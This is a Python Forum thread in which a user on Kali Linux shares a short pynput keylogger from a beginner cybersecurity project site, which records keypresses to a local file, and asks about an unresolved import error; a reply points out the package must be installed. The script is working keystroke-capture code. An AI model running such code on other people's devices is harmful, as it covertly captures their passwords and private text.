Python Forum
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Problem with "from pynput"
#1
Hi everyone.

I found a website with some basic projects from Cybersecurity. The first one is a keylogger. I'm using the following code:


from pynput import keyboard

def keyPressed(key):
    print(str(key))
    with open("keyfile.txt", 'a') as logKey:
        try:
            char = key.char
            logKey.write(char)
        except:
            print("Error getting char")

if __name__ == "__main__":
    listener =  keyboard.Listener(on_press=keyPressed)
    listener.start()
    input()
My OS is Kali Linux. when I run this code it shows the following problem:

Output:
Import "pynput" could not be resolved from source Pylance(reportMissingImports) [Ln 1, Col 6) Import "pynput.keyboard" could not be resolved from source Pylance(reportMissingImports) [Ln 1, Col 20)
Any idea how can I fix this?

Thank you
Reply
#2
Did you install the pynput package? It is not part of the Python distribution.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Pynput - One content on screen, another in the variable Valjean 4 996 Sep-18-2023, 06:00 PM
Last Post: Valjean
  Pynput Library not Working with Windows jacknewport 1 2,361 Mar-26-2022, 07:09 PM
Last Post: snippsat
  Solve Pynput Problem when changing language? ppel123 0 2,283 Feb-19-2020, 03:38 PM
Last Post: ppel123
  import pynput Sherlock42 2 3,357 Feb-08-2020, 04:01 PM
Last Post: Sherlock42
  Pynput doesn't recognize shift button and special characters VirtualDreamer 0 3,038 Jul-17-2019, 11:55 AM
Last Post: VirtualDreamer
  Pynput - no capital letters jmair 2 4,568 Feb-12-2019, 09:53 PM
Last Post: jmair
  Problem with updating file to attach/pynput jameseroni 7 4,477 Nov-02-2018, 03:47 AM
Last Post: jameseroni
  Pynput while not using text field Superbit 2 4,259 Mar-07-2018, 04:35 AM
Last Post: Superbit

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020